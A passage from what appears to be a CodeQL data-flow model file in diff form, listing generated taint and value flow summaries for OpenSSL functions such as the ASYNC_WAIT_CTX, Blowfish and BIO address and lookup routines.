"Argument[*6]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASN1_tag2bit", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_tag2str", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASRange_free", "(ASRange *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASRange_free", "(ASRange *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_all_fds", "(ASYNC_WAIT_CTX *,int *,size_t *)", "", "Argument[*0].Field[**fds].Field[*fd]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_all_fds", "(ASYNC_WAIT_CTX *,int *,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_all_fds", "(ASYNC_WAIT_CTX *,int *,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_callback", "(ASYNC_WAIT_CTX *,ASYNC_callback_fn *,void **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_callback", "(ASYNC_WAIT_CTX *,ASYNC_callback_fn *,void **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_callback", "(ASYNC_WAIT_CTX *,ASYNC_callback_fn *,void **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_changed_fds", "(ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_changed_fds", "(ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_fd", "(ASYNC_WAIT_CTX *,const void *,int *,void **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_fd", "(ASYNC_WAIT_CTX *,const void *,int *,void **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_fd", "(ASYNC_WAIT_CTX *,const void *,int *,void **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_status", "(ASYNC_WAIT_CTX *)", "", "Argument[*0].Field[*status]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_callback", "(ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[***callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_callback", "(ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[**callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_callback", "(ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*callback]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_callback", "(ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_status", "(ASYNC_WAIT_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*status]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[**1]", "Argument[*0].Field[**fds].Field[***key]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[**3]", "Argument[*0].Field[**fds].Field[***custom_data]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[*1]", "Argument[*0].Field[**fds].Field[**key]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[*3]", "Argument[*0].Field[**fds].Field[**custom_data]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[**fds].Field[*key]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[2]", "Argument[*0].Field[**fds].Field[*fd]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[3]", "Argument[*0].Field[**fds].Field[*custom_data]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[4]", "Argument[*0].Field[**fds].Field[*cleanup]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_get_wait_ctx", "(ASYNC_JOB *)", "", "Argument[*0].Field[**waitctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_get_wait_ctx", "(ASYNC_JOB *)", "", "Argument[*0].Field[*waitctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[**4]", "Argument[**0].Field[**funcargs]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[*1]", "Argument[**0].Field[**waitctx]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[*4]", "Argument[**0].Field[**funcargs]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[*4]", "Argument[**4]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[1]", "Argument[**0].Field[*waitctx]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[3]", "Argument[**0].Field[*func]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[4]", "Argument[**0].Field[**funcargs]", "taint", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "AUTHORITY_INFO_ACCESS_free", "(AUTHORITY_INFO_ACCESS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "AUTHORITY_INFO_ACCESS_free", "(AUTHORITY_INFO_ACCESS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "AUTHORITY_KEYID_free", "(AUTHORITY_KEYID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "AUTHORITY_KEYID_free", "(AUTHORITY_KEYID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BASIC_CONSTRAINTS_free", "(BASIC_CONSTRAINTS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "BASIC_CONSTRAINTS_free", "(BASIC_CONSTRAINTS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[*0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "BF_decrypt", "(unsigned int *,const BF_KEY *)", "", "Argument[*1].Field[*P]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BF_decrypt", "(unsigned int *,const BF_KEY *)", "", "Argument[*1].Field[*S]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BF_decrypt", "(unsigned int *,const BF_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BF_ecb_encrypt", "(const unsigned char *,unsigned char *,const BF_KEY *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ecb_encrypt", "(const unsigned char *,unsigned char *,const BF_KEY *,int)", "", "Argument[*2].Field[*P]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ecb_encrypt", "(const unsigned char *,unsigned char *,const BF_KEY *,int)", "", "Argument[*2].Field[*S]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ecb_encrypt", "(const unsigned char *,unsigned char *,const BF_KEY *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ecb_encrypt", "(const unsigned char *,unsigned char *,const BF_KEY *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_encrypt", "(unsigned int *,const BF_KEY *)", "", "Argument[*1].Field[*P]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BF_encrypt", "(unsigned int *,const BF_KEY *)", "", "Argument[*1].Field[*S]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BF_encrypt", "(unsigned int *,const BF_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BF_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_address", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[**ai_addr]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_address", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[*ai_addr]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_family", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[*ai_family]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_next", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[**ai_next]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_next", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[*ai_next]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_protocol", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[*ai_protocol]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_sockaddr", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[**ai_addr]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_sockaddr", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[*ai_addr]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_sockaddr_size", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[*ai_addrlen]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_socktype", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[*ai_socktype]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_copy", "(BIO_ADDR *,const BIO_ADDR *)", "", "Argument[*1].Union[*bio_addr_st]", "Argument[*0].Union[*bio_addr_st]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_copy", "(BIO_ADDR *,const BIO_ADDR *)", "", "Argument[1]", "Argument[*0].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_dup", "(const BIO_ADDR *)", "", "Argument[*0].Union[*bio_addr_st]", "ReturnValue[*].Union[*bio_addr_st]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_dup", "(const BIO_ADDR *)", "", "Argument[0]", "ReturnValue[*].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_family", "(const BIO_ADDR *)", "", "Argument[*0].Union[*bio_addr_st].Field[*sa_family]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_make", "(BIO_ADDR *,const sockaddr *)", "", "Argument[*1]", "Argument[*0].Union[*bio_addr_st]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_make", "(BIO_ADDR *,const sockaddr *)", "", "Argument[1]", "Argument[*0].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_path_string", "(const BIO_ADDR *)", "", "Argument[*0].Union[*bio_addr_st].Field[*sun_path]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawaddress", "(const BIO_ADDR *,void *,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[*2]", "Argument[*0].Union[*bio_addr_st].Field[*sin6_addr]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[*2]", "Argument[*0].Union[*bio_addr_st].Field[*sin_addr]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[*2]", "Argument[*0].Union[*bio_addr_st].Field[*sun_path]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[1]", "Argument[*0].Union[*bio_addr_st].Field[*sin6_family]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[1]", "Argument[*0].Union[*bio_addr_st].Field[*sin_family]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[1]", "Argument[*0].Union[*bio_addr_st].Field[*sun_family]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[2]", "Argument[*0].Union[*bio_addr_st].Field[*sin6_addr]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[2]", "Argument[*0].Union[*bio_addr_st].Field[*sin_addr]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[2]", "Argument[*0].Union[*bio_addr_st].Field[*sun_path]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[4]", "Argument[*0].Union[*bio_addr_st].Field[*sin6_port]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[4]", "Argument[*0].Union[*bio_addr_st].Field[*sin_port]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawport", "(const BIO_ADDR *)", "", "Argument[*0].Union[*bio_addr_st].Field[*sin6_port]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawport", "(const BIO_ADDR *)", "", "Argument[*0].Union[*bio_addr_st].Field[*sin_port]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_sockaddr", "(const BIO_ADDR *)", "", "Argument[*0].Union[*bio_addr_st]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_sockaddr", "(const BIO_ADDR *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_sockaddr_noconst", "(BIO_ADDR *)", "", "Argument[*0].Union[*bio_addr_st]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_sockaddr_noconst", "(BIO_ADDR *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept", "(int,char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept", "(int,char **)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept", "(int,char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept", "(int,char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept_ex", "(int,BIO_ADDR *,int)", "", "Argument[*1].Union[*bio_addr_st]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept_ex", "(int,BIO_ADDR *,int)", "", "Argument[0]", "Argument[*1].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept_ex", "(int,BIO_ADDR *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept_ex", "(int,BIO_ADDR *,int)", "", "Argument[1]", "Argument[*1].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept_ex", "(int,BIO_ADDR *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_clear_flags", "(BIO *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "BIO_debug_callback", "(BIO *,int,const char *,int,long,long)", "", "Argument[5]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_debug_callback_ex", "(BIO *,int,const char *,size_t,int,long,int,size_t *)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_debug_callback_ex", "(BIO *,int,const char *,size_t,int,long,int,size_t *)", "", "Argument[6]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_debug_callback_ex", "(BIO *,int,const char *,size_t,int,long,int,size_t *)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "BIO_dup_chain", "(BIO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BIO_find_type", "(BIO *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BIO_find_type", "(BIO *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_get_callback", "(const BIO *)", "", "Argument[*0].Field[*callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_get_callback_arg", "(const BIO *)", "", "Argument[*0].Field[**cb_arg]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_get_callback_arg", "(const BIO *)", "", "Argument[*0].Field[*cb_arg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_get_callback_ex", "(const BIO *)", "", "Argument[*0].Field[*callback_ex]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_get_data", "(BIO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "BIO_get_data", "(BIO *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "BIO_get_data", "(BIO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BIO_get_ex_data", "(const BIO *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_get_init", "(BIO *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_get_line", "(BIO *,char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BIO_get_line", "(BIO *,char *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_get_retry_BIO", "(BIO *,int *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BIO_get_retry_BIO", "(BIO *,int *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_get_retry_reason", "(BIO *)", "", "Argument[*0].Field[*retry_reason]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_get_shutdown", "(BIO *)", "", "Argument[*0].Field[*shutdown]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_gethostbyname", "(const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "BIO_gethostbyname", "(const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup", "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)", "", "Argument[*0]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup", "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)", "", "Argument[*1]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup", "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)", "", "Argument[0]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup", "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)", "", "Argument[1]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup", "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)", "", "Argument[3]", "Argument[**5].Field[*ai_family]", "value", "dfc-generated"] + - ["", "", True, "BIO_lookup", "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)", "", "Argument[4]", "Argument[**5].Field[*ai_socktype]", "value", "dfc-generated"] + - ["", "", True, "BIO_lookup", "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup_ex", "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)", "", "Argument[*0]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup_ex", "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)", "", "Argument[*1]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup_ex", "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)", "", "Argument[0]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup_ex", "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)", "", "Argument[1]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup_ex", "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)", "", "Argument[3]", "Argument[**6].Field[*ai_family]", "value", "dfc-generated"] + - ["", "", True, "BIO_lookup_ex", "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)", "", "Argument[4]", "Argument[**6].Field[*ai_socktype]", "value", "dfc-generated"] + - ["", "", True, "BIO_lookup_ex", "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "BIO_meth_get_callback_ctrl", "(const BIO_METHOD *)", "", "Argument[*0].Field[*callback_ctrl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_create", "(const BIO_METHOD *)", "", "Argument[*0].Field[*create]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_ctrl", "(const BIO_METHOD *)", "", "Argument[*0].Field[*ctrl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_destroy", "(const BIO_METHOD *)", "", "Argument[*0].Field[*destroy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_gets", "(const BIO_METHOD *)", "", "Argument[*0].Field[*bgets]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_puts", "(const BIO_METHOD *)", "", "Argument[*0].Field[*bputs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_read", "(const BIO_METHOD *)", "", "Argument[*0].Field[*bread_old]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_read_ex", "(const BIO_METHOD *)", "", "Argument[*0].Field[*bread]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_recvmmsg", "(const BIO_METHOD *)", "", 